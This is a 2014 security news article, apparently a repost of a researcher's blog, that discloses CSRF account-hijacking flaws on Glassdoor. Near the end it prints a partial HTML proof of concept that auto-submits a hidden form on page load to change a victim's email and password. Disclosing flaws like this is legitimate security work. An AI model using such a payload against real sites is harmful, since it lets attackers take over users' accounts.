Several critical security vulnerabilities affect the Glassdoor website

Pierluigi Paganini December 19, 2014

The security expert  Mohamed M.Fouad discovered several critical security vulnerabilities at Glassdoor, which can lead to very harmful impact on all users.

The Independent Security Researcher Mohamed M.Fouad has discovered  a lot of critical security vulnerabilities at Glassdoor that could lead to very harmful impact on all users.  Mohamed M.Fouad an Independent Security Researcher from Egypt. I have been got acknowledgement from many of the Firms like as Microsoft,Oracle,Yahoo,eBay,Sony,AT&T,Huawui,Adobe,DropCam, Bitcasa, Get Pocket, Splitwise and so many…

Glassdoor is an American site, launched in 2007,  where employees and former employees anonymously review companies and their management, the company proposes its activity as a precous helps for the users to find a job and company they love. In the year prior to April 2014, more than 500,000 company reviews were submitted to the website.

Glassdoor 2


Today i will show you how I discovered a lot of critical security vulnerabilities at Glassdoor, which can lead to very harmful impact on all users by force users change their passwords , change emails or change anything in their profile settings like job alerts… but these vulnerabilities can be escalated to deface all the site by posting malicious urls in Jobs reviews and all users password will be changed.
Before i begin i would like to warn Glassdoor to fix this security vulnerability because it can harm their website and all users like what happend in Jobvite after the publication of my article in TheHackerNews. Jobvite changed their website due to dangerous security vulnerabilities SQLi and LFI . I reported CSRF Account hijacking vulnerability to other jobs websites and they fixed it immediately because this is kinf of flaw considered critical by the experts and that could be exploited with serious conseguences to the end-user. I need to announce all users that i focused my analysis on jobs websites during the past six months discovering that it’s many of them are affected by this vulnerability and by other critical flaws like SQLi , XSS (Cross Site Scripting), Broken Authentication and Indirect Object Reference .I always reported the vulnerability to the company that inserted my activity in their bounty programs and in some cases they hired me as a Freelancer security consultant.

Story :

One Month and half ago I have found a Critical Vulnerability in Glassdoor, it was an account hijacking via CSRF vulnerability and attacker can exploit it to deface all the website, adding a new job with malicious url to change users passwords after visit the job or to serve a link to malicious websites hosting dangerous exploit kits. I tried to contact them via emails and social network media, but Glassdoor didn’t reply me.
The Impact is serious, a threat actor can change any details in user account settings, the most critical issue is the possibility to change user password and e-mail simply with a one-click malicious URL.
Below is the Critical one !!!!

Email Address and Password CSRF :
<body onload=”document.csrf.submit()”>
<formaction=”” method=”post” name=”csrf”>
<input type=”hidden” name=”selTabIndex=1″ value=”1″><br>
<inputtype=”hidden”name=”emailAddress” value=”[email protected]”><br>
<input type=”hidden” name=”birthYear” value=””><br>
<input type=”hidden” name=”race” value=””><br>
<input type=”hidden” name=”highestEducation” value=””><br>
<input type=”hidden” name=”newPassword” value=”hacked@2014″><br>
<input type=”hidden” name=”confirmPassword” value=”hacked@2014″><br>

Below a video POC of the attack.

Article written by Mohamed M.Fouad and posted on his Blog.

Pierluigi Paganini

(Security Affairs –  Glassdoor, Hacking)

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